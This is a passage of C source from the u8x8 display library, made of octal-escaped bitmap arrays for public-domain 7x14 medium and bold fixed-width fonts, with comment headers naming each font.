"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\330\0\0\0\0\0\0\0" "\37\0\0\0\0\200@\340@@\200\0\0\17\20\77\20\20\10\0\0\0\0\340\20\20 \0\0\0\11\37" "\11\11\20\0\0 \300@@\300 \0\0\4\3\2\2\3\4\0\0\0\210\260\300\260\210\0\0\0\2\2" "\37\2\2\0\0\0\0\0x\0\0\0\0\0\0\0\36\0\0\0\0\210T$$D\210\0\0\10\21\22" "\22\25\10\0\0\0\14\0\0\14\0\0\0\0\0\0\0\0\0\0\0\370\344\24\24$\370\0\0\17\23\24" "\24\22\17\0\0\0h\224\224T\370\0\0\0\2\2\2\2\2\0\0\0\0\200@\200@\0\0\2\5\12" "\25\10\20\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\36\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\370\364\224\224d\370\0\0\17\27\20\20\27\17\0\0\0\10\10\10\10\10\0\0\0\0\0" "\0\0\0\0\0\0\30$$\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\22\22" "\37\22\22\0\0\0\210D$\30\0\0\0\0\1\1\1\1\0\0\0\0\210$$\330\0\0\0\0\0\1" "\1\0\0\0\0\0\0\20\10\4\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\200\0\0\0\177\10" "\20\10\37\0\0\0\360\10\370\10\370\0\0\0\0\1\177@\177\0\0\0\0\0\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\60\0\0\0\0\0\0\10\374\0\0\0\0\0\0\1" "\1\1\0\0\0\0\60HH\60\0\0\0\0\1\1\1\1\0\0\0@\200@\200\0\0\0\0\20\10\25" "\12\5\2\0\0\20\370\0\200`\20\0\0\30\4\3\14\12\37\0\0\20\370\0\200`\20\0\0\30\4\3" "\22\31\26\0\0\210\250P\300 \30\0\0\10\6\1\14\12\37\0\0\0\0\260\0\0\0\0\0\60HG" "@@\60\0\0\300 \22\24 \300\0\0\37\1\1\1\1\37\0\0\300 \24\22 \300\0\0\37\1\1" "\1\1\37\0\0\300$\22\22$\300\0\0\37\1\1\1\1\37\0\0\304\42\22\24$\302\0\0\37\1\1" "\1\1\37\0\0\300$\20\20$\300\0\0\37\1\1\1\1\37\0\0\300(\24\24(\300\0\0\37\1\1" "\1\1\37\0\0\340\220\210\370\210\210\0\0\37\0\0\37\20\20\0\0\360\10\10\10\10\60\0\0\17\20P" "\60\20\14\0\0\360\20\22\24\20\20\0\0\37\21\21\21\21\20\0\0\360\20\24\22\20\20\0\0\37\21\21" "\21\21\20\0\0\360\24\22\22\24\20\0\0\37\21\21\21\21\20\0\0\360\24\20\20\24\20\0\0\37\21\21" "\21\21\20\0\0\0\20\22\364\20\20\0\0\0\20\20\37\20\20\0\0\0\20\20\364\22\20\0\0\0\20\20" "\37\20\20\0\0\0\20\24\362\24\20\0\0\0\20\20\37\20\20\0\0\0\20\24\360\24\20\0\0\0\20\20" "\37\20\20\0\0\200\370\210\210\10\20\340\0\0\37\20\20\20\10\7\0\364\62\302\4\4\362\0\0\37\0\0" "\7\30\37\0\0\340\20\22\24\20\340\0\0\17\20\20\20\20\17\0\0\340\20\24\22\20\340\0\0\17\20\20" "\20\20\17\0\0\340\24\22\22\24\340\0\0\17\20\20\20\20\17\0\0\344\22\22\24\24\342\0\0\17\20\20" "\20\20\17\0\0\340\24\20\20\24\340\0\0\17\20\20\20\20\17\0\0@\200\0\0\0\200@\0\20\10\5" "\2\5\10\20\0\360\10\10\350\30\366\0\0o\30\27\20\20\17\0\0\360\0\2\4\0\360\0\0\17\20\20" "\20\20\17\0\0\360\0\4\2\0\360\0\0\17\20\20\20\20\17\0\0\360\4\2\2\4\360\0\0\17\20\20" "\20\20\17\0\0\360\4\0\0\4\360\0\0\17\20\20\20\20\17\0\0\0\60\300\4\302\60\0\0\0\0\0" "\37\0\0\0\0\370 \300\0\0\37\4\4\4\4\3\0\0\0\360\210\210p\0\0\0\20\37\20" "\20\21\16\0\0\200@HP@\200\0\0\14\22\22\22\22\37\0\0\200@@PH\200\0\0\14\22\22" "\22\22\37\0\0\200PHHP\200\0\0\14\22\22\22\22\37\0\0\220HHPP\210\0\0\14\22\22" "\22\22\37\0\0\200P@@P\200\0\0\14\22\22\22\22\37\0\0\200HTTH\200\0\0\14\22\22" "\22\22\37\0\0\200@@\300@@\200\0\14\22\21\37\22\22\13\0\200@@@@\200\0\0\17\20P" "\60\20\10\0\0\200@HP@\200\0\0\17\22\22\22\22\13\0\0\200@PH@\200\0\0\17\22\22" "\22\22\13\0\0\200PHHP\200\0\0\17\22\22\22\22\13\0\0\200P@@P\200\0\0\17\22\22" "\22\22\13\0\0\0\0H\320\0\0\0\0\0\20\20\37\20\20\0\0\0\0@\320\10\0\0\0\0\20\20" "\37\20\20\0\0\0\20H\310\20\0\0\0\0\20\20\37\20\20\0\0\0\0P\300\20\0\0\0\0\20\20" "\37\20\20\0\0\0\200THT\340\0\0\0\17\20\20\20\17\0\0\320\210HPP\210\0\0\37\0\0" "\0\0\37\0\0\200@HP@\200\0\0\17\20\20\20\20\17\0\0\200@PH@\200\0\0\17\20\20" "\20\20\17\0\0\200PHHP\200\0\0\17\20\20\20\20\17\0\0\220HHPP\210\0\0\17\20\20" "\20\20\17\0\0\200P@@P\200\0\0\17\20\20\20\20\17\0\0\0\0\0\0\0\0\0\0\4\4\25" "\25\4\4\0\0\200@@\300`\220\0\0o\30\26\21\20\17\0\0\300\0\10\20\0\300\0\0\17\20\20" "\20\10\37\0\0\300\0\20\10\0\300\0\0\17\20\20\20\10\37\0\0\300\20\10\10\20\300\0\0\17\20\20" "\20\10\37\0\0\300\20\0\0\20\300\0\0\17\20\20\20\10\37\0\0\300\0\20\10\0\300\0\0 CL" "\70\16\1\0\0\370\200@@@\200\0\0\177\10\20\20\20\17\0\0\300\20\0\0\20\300\0\0 CL" "\70\16\1"; /* Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 95/2576 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14_1x2_r[1524] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_r") = " ~\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\0\0\0\0" "\33\0\0\0\0\0\0<\0<\0\0\0\0\0\0\0\0\0\0\0\0@\370@\370@\0\0\0\2\37" "\2\37\2\0\0`\220\20\370\20`\0\0\14\20\21\77\21\16\0\0\60HH\360 \30\0\0\30\4\17" "\22\22\14\0\0\0p\210\210p\0\0\0\16\21\21\12\14\23\0\0\0\0\0<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\60\10\4\0\0\0\0\7\30 @\0\0\0\4\10\60\300\0\0\0\0@ " "\30\7\0\0\0\0@\200\340\200@\0\0\0\4\2\17\2\4\0\0\0\0\0\340\0\0\0\0\0\1\1" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0H\70\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\20\70\20\0\0\0\0\0\0\300\60\14\0\0`\30\6" "\1\0\0\0\0\340\20\10\10\20\340\0\0\7\10\20\20\10\7\0\0\0 \20\370\0\0\0\0\0\20\20" "\37\20\20\0\0\60\10\10\10\210p\0\0\20\30\24\22\21\20\0\0\10\10\210\310\250\30\0\0\14\20\20" "\20\20\17\0\0\0\200`\20\370\0\0\0\6\5\4\4\37\4\0\0\370HHHH\210\0\0\14\20\20" "\20\20\17\0\0\340\20\210\210\210\0\0\0\17\21\20\20\20\17\0\0\10\10\10\210h\30\0\0\0\30\6" "\1\0\0\0\0\60H\210\210H\60\0\0\16\21\20\20\21\16\0\0\360\10\10\10\210\360\0\0\14\21\21" "\21\10\7\0\0\0\0@\340@\0\0\0\0\0\10\34\10\0\0\0\0\0\300\300\0\0\0\0\0\0$" "\34\0\0\0\0\0\0\200@ \20\0\0\0\1\2\4\10\20\0\0@@@@@@\0\0\2\2\2" "\2\2\2\0\0\0\20 @\200\0\0\0\0\20\10\4\2\1\0\0\60\10\10\210H\60\0\0\0\0\0" "\33\0\0\0\0\340\20\310((\360\0\0\7\10\23\24\24\27\0\0\340\20\10\10\20\340\0\0\37\1\1" "\1\1\37\0\0\370\210\210\210P \0\0\37\20\20\20\11\6\0\0\360\10\10\10\10\60\0\0\17\20\20" "\20\20\14\0\0\370\10\10\10\20\340\0\0\37\20\20\20\10\7\0\0\370\210\210\210\10\10\0\0\37\20\20" "\20\20\20\0\0\370\210\210\210\10\10\0\0\37\0\0\0\0\0\0\0\360\10\10\10\10\60\0\0\17\20\20" "\21\11\37\0\0\370\200\200\200\200\370\0\0\37\0\0\0\0\37\0\0\0\10\10\370\10\10\0\0\0\20\20" "\37\20\20\0\0\0\0\0\10\370\10\0\0\14\20\20\20\17\0\0\0\370\200@ \20\10\0\0\37\0\1" "\2\4\30\0\0\370\0\0\0\0\0\0\0\37\20\20\20\20\20\0\0\370\60\300\300\60\370\0\0\37\0\0" "\0\0\37\0\0\370`\200\0\0\370\0\0\37\0\0\1\6\37\0\0\360\10\10\10\10\360\0\0\17\20\20" "\20\20\17\0\0\370\10\10\10\10\360\0\0\37\1\1\1\1\0\0\0\360\10\10\10\10\360\0\0\17\22\22" "\24\70O\0\0\370\10\10\10\10\360\0\0\37\1\1\3\5\30\0\0p\210\210\10\10\60\0\0\14\20\20" "\21\21\16\0\0\10\10\10\370\10\10\10\0\0\0\0\37\0\0\0\0\370\0\0\0\0\370\0\0\17\20\20" "\20\20\17\0\0x\200\0\0\200x\0\0\0\3\34\34\3\0\0\0\0\370\0\0\0\370\0\0\0\17\20" "\16\20\17\0\0\30`\200\200`\30\0\0\30\6\1\1\6\30\0\0\0\70\300\0\300\70\0\0\0\0\0" "\37\0\0\0\0\10\10\10\310(\30\0\0\30\26\21\20\20\20\0\0\0\0\374\4\4\4\0\0\0\0\177" "@@@\0\0\14\60\300\0\0\0\0\0\0\0\1\6\30`\0\0\0\4\4\4\374\0\0\0\0@@" "@\177\0\0\0\20\10\4\4\10\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@@@" "@@@\0\0\0\0\4\10\20\0\0\0\0\0\0\0\0\0\0\0\200@@@@\200\0\0\14\22\22" "\22\22\37\0\0\370\200@@@\200\0\0\37\10\20\20\20\17\0\0\200@@@@\200\0\0\17\20\20" "\20\20\10\0\0\200@@@\200\370\0\0\17\20\20\20\10\37\0\0\200@@@@\200\0\0\17\22\22" "\22\22\13\0\0\200\200\360\210\210\20\0\0\0\0\37\0\0\0\0\0\200@@@\200@\0\0\63LT" "TS \0\0\370\200@@@\200\0\0\37\0\0\0\0\37\0\0\0\0@\330\0\0\0\0\0\20\20" "\37\20\20\0\0\0\0\0\0@\330\0\0\0\60@@@\77\0\0\370\0\0\200@\0\0\0\37\2\3" "\4\10\20\0\0\0\0\10\370\0\0\0\0\0\20\20\37\20\20\0\0\0\300@\200@\200\0\0\0\37\0" "\17\0\37\0\0\300\200@@@\200\0\0\37\0\0\0\0\37\0\0\200@@@@\200\0\0\17\20\20" "\20\20\17\0\0\300\200@@@\200\0\0\177\10\20\20\20\17\0\0\200@@@\200\300\0\0\17\20\20" "\20\10\177\0\0\300\200@@@\200\0\0\37\0\0\0\0\1\0\0\200@@@@\200\0\0\10\21\22" "\22\24\10\0\0@@\370@@\0\0\0\0\0\17\20\20\10\0\0\300\0\0\0\0\300\0\0\17\20\20" "\20\10\37\0\0\0\300\0\0\0\300\0\0\0\1\6\30\6\1\0\0\0\300\0\0\0\300\0\0\0\17\20" "\17\20\17\0\0\300\0\0\0\0\300\0\0\30\5\2\2\5\30\0\0\300\0\0\0\0\300\0\0'HH" "HD\77\0\0@@@@\300@\0\0\20\30\26\21\20\20\0\0\0\0\0\370\4\4\0\0\0\0\1" ">@@\0\0\0\0\0\374\0\0\0\0\0\0\0\177\0\0\0\0\0\4\4\370\0\0\0\0\0@@" ">\1\0\0\0\30\4\10\20 \30\0\0\0\0\0\0\0\0"; /* Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 18/2576 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14_1x2_n[436] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_n") = " :\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0@\200\340\200@\0\0\0\4\2\17\2\4\0\0\0\0\0\340\0\0\0\0\0\1\1" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0H\70\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\20\70\20\0\0\0\0\0\0\300\60\14\0\0`\30\6" "\1\0\0\0\0\340\20\10\10\20\340\0\0\7\10\20\20\10\7\0\0\0 \20\370\0\0\0\0\0\20\20" "\37\20\20\0\0\60\10\10\10\210p\0\0\20\30\24\22\21\20\0\0\10\10\210\310\250\30\0\0\14\20\20" "\20\20\17\0\0\0\200`\20\370\0\0\0\6\5\4\4\37\4\0\0\370HHHH\210\0\0\14\20\20" "\20\20\17\0\0\340\20\210\210\210\0\0\0\17\21\20\20\20\17\0\0\10\10\10\210h\30\0\0\0\30\6" "\1\0\0\0\0\60H\210\210H\60\0\0\16\21\20\20\21\16\0\0\360\10\10\10\210\360\0\0\14\21\21" "\21\10\7\0\0\0\0@\340@\0\0\0\0\0\10\34\10\0"; /* Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 191/1009 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14B_1x2_f[3588] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_f") = " \377\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\0\0\0\0\0\0\33" "\33\0\0\0\0\0<<\0<<\0\0\0\0\0\0\0\0\0\0@\370\370\370\370@\0\0\2\37\37" "\37\37\2\0\0`\220\370\370\20`\0\0\14\20\77\77\21\16\0\0\60xH\360\70\30\0\0\30\34\17" "\22\36\14\0\0\0p\370\210\370p\0\0\16\37\21\16\37\23\0\0\0\0<<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\360\70\14\4\0\0\0\7\37\70`@\0\0\0\4\14\70\360\300\0\0\0@`" "\70\37\7\0\0\30\240\370\370\240\30\0\0\3\0\3\3\0\3\0\0\0\0\340\340\0\0\0\0\1\1\17" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0Hx\70\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\30\30\0\0\0\0\0\0\200\340|\34\0\0p|\17" "\3\0\0\0\0\360\370\10\10\370\360\0\0\17\37\20\20\37\17\0\0 \60\370\370\0\0\0\0\20\20\37" "\37\20\20\0\0\60\70\10\210\370p\0\0\30\34\26\23\21\20\0\0\60\70\210\210\370p\0\0\14\34\20" "\20\37\17\0\0\0\200\300\360\370\0\0\0\7\7\4\37\37\4\0\0\370\370HH\310\210\0\0\14\34\20" "\20\37\17\0\0\340\360\230\210\270\60\0\0\17\37\20\20\37\17\0\0\70\70\210\350x\30\0\0\0\0\37" "\37\0\0\0\0p\370\210\210\370p\0\0\16\37\21\21\37\16\0\0\360\370\10\10\370\360\0\0\14\35\21" "\31\17\7\0\0\0\0``\0\0\0\0\0\0\14\14\0\0\0\0\0\0\0``\0\0\0\0\0$" "<\34\0\0\0\0\200\300`\60\20\0\0\1\3\6\14\30\20\0\0\200\200\200\200\200\200\0\0\4\4\4" "\4\4\4\0\0\20\60`\300\200\0\0\0\20\30\14\6\3\1\0\0\60\70\210\310x\60\0\0\0\0\33" "\33\0\0\0\0\340\360\330\350\70\360\0\0\7\17\33\27\24\27\0\0\360\370\30\30\370\360\0\0\37\37\2" "\2\37\37\0\0\370\370\210\210\370\60\0\0\37\37\20\20\37\17\0\0\360\370\10\10\70\60\0\0\17\37\20" "\20\34\14\0\0\370\370\10\30\360\340\0\0\37\37\20\30\17\7\0\0\370\370\210\210\210\10\0\0\37\37\20" "\20\20\20\0\0\370\370\210\210\210\10\0\0\37\37\0\0\0\0\0\0\360\370\10\10\70\60\0\0\17\37\20" "\21\37\17\0\0\370\370\200\200\370\370\0\0\37\37\0\0\37\37\0\0\10\10\370\370\10\10\0\0\20\20\37" "\37\20\20\0\0\0\0\0\0\370\370\0\0\14\34\20\30\17\7\0\0\370\370\340\60\30\10\0\0\37\37\3" "\7\34\30\0\0\370\370\0\0\0\0\0\0\37\37\20\20\20\20\0\0\370\360\300\300\360\370\0\0\37\37\0" "\0\37\37\0\0\370\370\340\0\370\370\0\0\37\37\0\7\37\37\0\0\360\370\10\10\370\360\0\0\17\37\20" "\20\37\17\0\0\370\370\10\10\370\360\0\0\37\37\1\1\1\0\0\0\360\370\10\10\370\360\0\0\17\37\22" "\24\77o\0\0\370\370\210\210\370p\0\0\37\37\0\1\37\36\0\0\60x\310\210\70\60\0\0\14\34\21" "\23\36\14\0\0\10\10\370\370\10\10\0\0\0\0\37\37\0\0\0\0\370\370\0\0\370\370\0\0\17\37\20" "\20\37\17\0\0\370\370\0\0\370\370\0\0\3\17\34\34\17\3\0\0\370\370\0\0\370\370\0\0\17\37\17" "\17\37\17\0\0\30x\340\340x\30\0\0\30\36\7\7\36\30\0\0\70\370\300\300\370\70\0\0\0\0\37" "\37\0\0\0\0\10\10\210\350x\30\0\0\30\36\27\21\20\20\0\0\0\374\374\4\4\4\0\0\0\177\177" "@@@\0\0\34|\340\200\0\0\0\0\0\0\3\17|p\0\0\0\4\4\4\374\374\0\0\0@@" "@\177\177\0\0\10\14\6\6\14\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0```" "```\0\0\0\4\14\30\20\0\0\0\0\0\0\0\0\0\0\0\200\300@@\300\200\0\0\14\36\22" "\21\37\37\0\0\370\370@@\300\200\0\0\37\37\20\20\37\17\0\0\200\300@@\300\200\0\0\17\37\20" "\20\30\10\0\0\200\300@@\370\370\0\0\17\37\20\20\37\37\0\0\200\300@@\300\200\0\0\17\37\22" "\22\33\13\0\0\200\200\360\370\230\220\0\0\0\0\37\37\0\0\0\0\200\300@\300\200\300\0\0\63\177T" "Ws \0\0\370\370@@\300\200\0\0\37\37\0\0\37\37\0\0\0\0\330\330\0\0\0\0\0\0\37" "\37\0\0\0\0\0\0\0\0\330\330\0\0\0 `@\177\77\0\0\370\370\0\200\300\0\0\0\37\37\3" "\7\14\30\0\0\0\0\370\370\0\0\0\0\0\0\37\37\0\0\0\0\300\300\200\300\300\200\0\0\37\37\17" "\17\37\37\0\0\300\300@@\300\200\0\0\37\37\0\0\37\37\0\0\200\300@@\300\200\0\0\17\37\20" "\20\37\17\0\0\300\300@@\300\200\0\0\177\177\20\20\37\17\0\0\200\300@@\300\300\0\0\17\37\20" "\20\177\177\0\0\300\300@@\300\200\0\0\37\37\0\0\1\1\0\0\200\300@@\300\200\0\0\10\31\23" "\26\34\10\0\0@@\370\370@@\0\0\0\0\17\37\20\20\0\0\300\300\0\0\300\300\0\0\17\37\20" "\20\37\37\0\0\300\300\0\0\300\300\0\0\1\7\36\36\7\1\0\0\300\300\0\0\300\300\0\0\17\37\17" "\17\37\17\0\0\300\300\0\0\300\300\0\0\30\35\7\7\35\30\0\0\300\300\0\0\300\300\0\0 cO" "|\77\3\0\0@@@@\300\300\0\0\30\34\26\23\21\20\0\0\0\0\370\374\4\4\0\0\0\1\77" "~@@\0\0\0\0\374\374\0\0\0\0\0\0\177\177\0\0\0\0\0\4\4\374\370\0\0\0\0@@" "~\77\1\0\0\70\14\30\30\60\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\330\330\0\0\0\0\0\0\37" "\37\0\0\0\0\200@\340\340@\300\0\0\17\20\77\77\20\30\0\0\0\340\360\20\60 \0\0\11\37\37" "\11\30\20\0\0 \340\300@\340 \0\0\4\7\2\3\7\4\0\0Xp\340\340pX\0\0\2\2\37" "\37\2\2\0\0\0\0xx\0\0\0\0\0\0\36\36\0\0\0\0\210\334td\314\210\0\0\10\31\23" "\27\35\10\0\0\0\14\14\0\14\14\0\0\0\0\0\0\0\0\0\0\370\374\364\24\374\370\0\0\17\37\27" "\24\37\17\0\0\0h\374\224\374\370\0\0\0\2\2\2\2\2\0\0\0\0\200\300\300\300\0\0\2\7\17" "\37\35\30\0\0\0\0\0\0\0\0\0\0\3\3\3\3\37\37\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\370\374\364\224\374\370\0\0\17\37\27\20\37\17\0\0\0\4\4\4\4\4\0\0\0\0\0" "\0\0\0\0\0\0\30<$<\30\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\22\22\37" "\37\22\22\0\0\0\210\314d<\30\0\0\0\1\1\1\1\1\0\0\0\210\254$\374\330\0\0\0\0\1" "\1\1\0\0\0\0\20\30\14\4\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\200\200\0\0\177\177\20" "\30\37\37\0\0\360\370\370\10\370\370\0\0\0\1\177@\177\177\0\0\0\0\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@p\60\0\0\0\0\20\370\370\0\0\0\0\0\0\1" "\1\0\0\0\0\0\60xHx\60\0\0\0\1\1\1\1\1\0\0@\300\300\200\0\0\0\0\20\30\35" "\17\7\2\0\0\20\370\370\300\360\30\0\0\30\16\3\15\36\37\0\0\20\370\370\300\360\30\0\0\30\16\3" "\33\35\26\0\0\250\370\360\300p\30\0\0\14\6\3\15\37\37\0\0\0\260\260\0\0\0\0\0\60\177O" "@p\60\0\0\340\362\66\64\360\340\0\0\37\37\2\2\37\37\0\0\340\360\64\66\362\340\0\0\37\37\2" "\2\37\37\0\0\340\364\66\66\364\340\0\0\37\37\2\2\37\37\0\0\344\362\66\64\362\340\0\0\37\37\2" "\2\37\37\0\0\346\366\60\60\366\346\0\0\37\37\2\2\37\37\0\0\300\344jj\344\300\0\0\37\37\2" "\2\37\37\0\0\360\370\10\370\370\210\10\0\37\37\1\37\37\20\20\0\360\370\10\10\70\60\0\0\17_p" "\60\34\14\0\0\360\362\26\24\20\20\0\0\37\37\21\21\21\20\0\0\360\360\24\26\22\20\0\0\37\37\21" "\21\21\20\0\0\360\364\26\26\24\20\0\0\37\37\21\21\21\20\0\0\366\366\20\20\26\26\0\0\37\37\21" "\21\21\20\0\0\20\22\366\364\20\20\0\0\20\20\37\37\20\20\0\0\20\20\364\366\22\20\0\0\20\20\37" "\37\20\20\0\0\20\24\366\366\24\20\0\0\20\20\37\37\20\20\0\0\26\26\360\360\26\26\0\0\20\20\37" "\37\20\20\0\0\200\370\370\210\230\360\340\0\0\37\37\20\30\17\7\0\364\362\346\4\362\360\0\0\37\37\0" "\7\37\37\0\0\340\362\26\24\360\340\0\0\17\37\20\20\37\17\0\0\340\360\24\26\362\340\0\0\17\37\20" "\20\37\17\0\0\340\364\26\26\364\340\0\0\17\37\20\20\37\17\0\0\344\362\26\24\362\340\0\0\17\37\20" "\20\37\17\0\0\346\366\20\20\366\346\0\0\17\37\20\20\37\17\0\0@\300\200\0\200\300@\0\30\14\7" "\3\7\14\30\0\360\370\10\370\370\366\0\0o\37\37\20\37\17\0\0\360\362\6\4\360\360\0\0\17\37\20" "\20\37\17\0\0\360\360\4\6\362\360\0\0\17\37\20\20\37\17\0\0\360\364\6\6\364\360\0\0\17\37\20" "\20\37\17\0\0\366\366\0\0\366\366\0\0\17\37\20\20\37\17\0\0p\360\204\206\362p\0\0\0\3\37" "\37\3\0\0\0\370\370 \340\300\0\0\37\37\4\4\7\3\0\0\0\360\370\210\370p\0\0\20\37\37" "\20\37\17\0\0\200\310XP\300\200\0\0\14\36\23\21\37\37\0\0\200\300PX\310\200\0\0\14\36\23" "\21\37\37\0\0\200\320XX\320\200\0\0\14\36\23\21\37\37\0\0\220\310XP\310\200\0\0\14\36\23" "\21\37\37\0\0\230\330@@\330\230\0\0\14\36\23\21\37\37\0\0\200\310TT\310\200\0\0\14\36\23" "\21\37\37\0\0\200\300@\300\300@\200\0\14\36\21\37\37\32\13\0\200\300@@\300\200\0\0\17_p" "\60\30\10\0\0\200\310XP\300\200\0\0\17\37\22\22\33\13\0\0\200\300PX\310\200\0\0\17\37\22" "\22\33\13\0\0\200\320XX\320\200\0\0\17\37\22\22\33\13\0\0\230\330@@\330\230\0\0\17\37\22" "\22\33\13\0\0\0\0\10\330\320\0\0\0\0\0\0\37\37\0\0\0\0\0\320\330\10\0\0\0\0\0\37" "\37\0\0\0\0\0\20\330\330\20\0\0\0\0\0\37\37\0\0\0\0\30\30\300\300\30\30\0\0\0\0\37" "\37\0\0\0\0\64\234\230\274\344\300\0\0\17\37\20\20\37\17\0\0\320\310XP\310\200\0\0\37\37\0" "\0\37\37\0\0\200\310XP\300\200\0\0\17\37\20\20\37\17\0\0\200\300PX\310\200\0\0\17\37\20" "\20\37\17\0\0\200\320XX\320\200\0\0\17\37\20\20\37\17\0\0\220\310XP\310\200\0\0\17\37\20" "\20\37\17\0\0\230\330@@\330\230\0\0\17\37\20\20\37\17\0\0\0\0``\0\0\0\0\3\3\33" "\33\3\3\0\0\200\300@\300\340\220\0\0o\37\26\21\37\17\0\0\300\310\30\20\300\300\0\0\17\37\20" "\20\37\37\0\0\300\300\20\30\310\300\0\0\17\37\20\20\37\37\0\0\300\320\30\30\320\300\0\0\17\37\20" "\20\37\37\0\0\330\330\0\0\330\330\0\0\17\37\20\20\37\37\0\0\300\300\20\30\310\300\0\0!c~" ">\17\1\0\0\370\370@@\300\200\0\0\177\177\20\20\37\17\0\0\330\330\0\0\330\330\0\0!c~" ">\17\1"; /* Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 95/1009 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14B_1x2_r[1524] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_r") = " ~\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\0\0\0\0\0\0\33" "\33\0\0\0\0\0<<\0<<\0\0\0\0\0\0\0\0\0\0@\370\370\370\370@\0\0\2\37\37" "\37\37\2\0\0`\220\370\370\20`\0\0\14\20\77\77\21\16\0\0\60xH\360\70\30\0\0\30\34\17" "\22\36\14\0\0\0p\370\210\370p\0\0\16\37\21\16\37\23\0\0\0\0<<\0\0\0\0\0\0\0" 